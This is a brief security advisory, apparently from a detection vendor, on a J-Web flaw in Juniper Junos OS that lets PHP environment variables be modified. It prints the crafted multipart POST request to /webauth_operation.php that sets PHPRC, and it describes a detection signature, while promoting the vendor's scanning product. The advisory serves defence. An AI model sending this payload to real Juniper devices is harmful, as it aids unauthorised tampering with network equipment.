Application Details
Junos OS is an operating system which automates network operations.
Vulnerability
Juniper Networks Junos OS on EX Series and SRX Series could allow a remote attacker to bypass security restrictions, caused by a PHP external variable modification flaw in J-Web.
Identification
By sending a specially crafted request, an attacker could exploit this vulnerability to modify certain PHP environments variables.
POST /webauth_operation.php
PAYLOAD -
Content-Type: multipart/form-data; boundary=------------------------cd911094ceb0f6a5
--------------------------cd911094ceb0f6a5
Content-Disposition: form-data; name="PHPRC"
/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini
--------------------------cd911094ceb0f6a5--
Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to modify certain PHP environments variables.
Coverage
Idappcom have created signature 8024184 along with a traffic file for this vulnerability.
References
Juniper Networks Security Bulletin JSA72300
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
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